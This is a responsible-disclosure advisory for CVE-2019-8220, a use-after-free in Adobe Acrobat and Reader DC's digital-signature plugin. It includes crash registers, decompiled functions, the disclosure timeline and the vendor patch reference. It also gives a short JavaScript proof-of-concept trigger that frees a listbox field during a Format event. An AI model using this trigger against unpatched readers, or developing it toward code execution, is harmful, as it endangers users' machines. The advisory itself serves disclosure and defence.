CVE: CVE-2019-8220
Tested Versions:
- Adobe Acrobat and Reader DC versions 2019.012.20040 and earlier
Product URL(s):
Description of the vulnerability
Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF).
Both Adobe Reader and Acrobat DC share the same DigSig.api
plugin:
Image path: C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\plug_ins\DigSig.api
File Version Number: 19.10.20064.48846
Product Version Number: 19.10.20064.48846
Comments: The Digital Signature plug-in (DigSig) provides a generic PDF file digital-signing service. [...]
Company Name: Adobe Systems Incorporated
File Description: Adobe Acrobat Digital Signature Plug-in
File Version: 19.10.20064.310990
Legal Copyright: Copyright 1984-2018 Adobe Systems Incorporated and its licensors. All rights reserved.
Product Name: Adobe Acrobat Digital Signature Plug-in
Product Version: 19.10.20064.310990
There is a use-after-free bug when Acrobat Reader executes Javascript related to Document.Field
object.
Technical Details
Crash context:
(1eb0.3d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=265aefe8 ebx=265aefe8 ecx=008fe2e0 edx=009d0000 esi=62956fb0 edi=00000000
eip=5f1fef01 esp=008fe348 ebp=008fe37c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
AcroForm!DllUnregisterServer+0xb377f:
5f1fef01 8b4614 mov eax,dword ptr [esi+14h] ds:002b:62956fc4=????????
The offending code is as follows:
field=this.addField('test','listbox' ,2,[134,824,158,144]);
field.setAction('Format',"this.flattenPages();"); // format will trigger remove field
field.bgColor = color.red //trigger format event then re-use field again
When PageHeap is enabled the code above will crash Adobe Acrobat DC. The program tries to access a freed CLstBxField
object.
Analysis
In the native implementation of document.flattenPages
at DigSig.api+0x0049EB2
there is no check to prevent deleting a Field in the middle of a Format event. Take a look at the code below:
// at DigSig.api+0x0049EB2
__int16 __cdecl CDigSigJSHandler::DocObjMethodFlattenPages(int a1, int a2, int a3)
{
if ( v8 < 0 || v8 >= v15 ) // check arg9
{
v12 = "nStart";
goto LABEL_25;
}
if ( v7 < 0 || v7 >= v15 ) // check arg1
{
v12 = "nEnd";
goto LABEL_25;
}
if ( v19 > 2 ) // check arg2
{
v12 = "nNonPrint";
LABEL_25:
v11 = 1;
return (*(dword_23101F5C + 0x160))(a1, v22, a3, v11, v12); // exception
}
v9 = CDigSig::GetDoc(gpMain, v18);
v18 = v9;
if ( v9 ) // check valid document
{
if ( sub_23053669(v9) ) // check operation valid -> need permission to return true on Acrobat reader
return CDigSigDocument::FlattenPages(v18, v20, v21, v19); // will call this
v12 = 0;
v11 = 11;
return (*(dword_23101F5C + 0x160))(a1, v22, a3, v11, v12);
}
return v3;
}
// at DigSig.api+0x0388B7
int __cdecl CDigSigDocument::FlattenPages(int a1, int a2, int a3, int a4)
{
v4 = (*(gAcroViewHFT + 644))();
v5 = gAcroViewHFT;
v10 = v4;
v6 = (*(gAcroViewHFT + 636))(1112);
(*(v5 + 640))(v6);
v7 = a2;
v8 = 1;
if ( a2 <= a3 )
{
do
{
CDigSigPage::CDigSigPage(a1, &v11, *(a1 + 0x20), v7);
v8 = CDigSigPage::Flatten(&v11, a4);
++v7;
CDigSigPage::~CDigSigPage(&v11);
}
while ( v7 <= a3 && v8 );
}
(*(gAcroViewHFT + 640))(v10);
return v8;
}
Function CDigSigJSHandler::DocObjMethodFlattenPages
only checks the document object, argument and operation. The called function CDigSigDocument::FlattenPages
does not perform any checks.
The crash happens at AcroForm+0x002FEF01
. ESI register points to a memory region whose first pointer point to AcroForm+006FBB54
which is in CLstBxField::vftable
:
.rdata:006FBB54 ; const CLstBxField::`vftable'
.rdata:006FBB54 ??_7CLstBxField@@6B@ dd offset hb_set_invert
.rdata:006FBB54 ; DATA XREF: sub_108523+446↑o
.rdata:006FBB58 dd offset sub_300732
.rdata:006FBB5C dd offset sub_2FE94F
.rdata:006FBB60 dd offset sub_2FC444
.rdata:006FBB64 dd offset sub_2FC59E
.rdata:006FBB68 dd offset loc_51238
.rdata:006FBB6C dd offset sub_304499
.rdata:006FBB70 dd offset sub_DB37C
.rdata:006FBB74 dd offset sub_70D40
.rdata:006FBB78 dd offset sub_301637
.rdata:006FBB7C dd offset sub_1FB4B5
.rdata:006FBB80 dd offset sub_2D9FFD
EDI is a this
pointer to a CLstBxField
object which is freed when flattenPages
is called.
With proper memory manipulation this bug can be turned into code execution within the sandbox context.
Timeline:
- 2019-09-09 Vendor disclosure
- 2019-10-15 Vendor patched
Vendor Response
The vendor has acknowledged the issue and released an update to address it.
The vendor’s advisory can be found here: APSB19-49.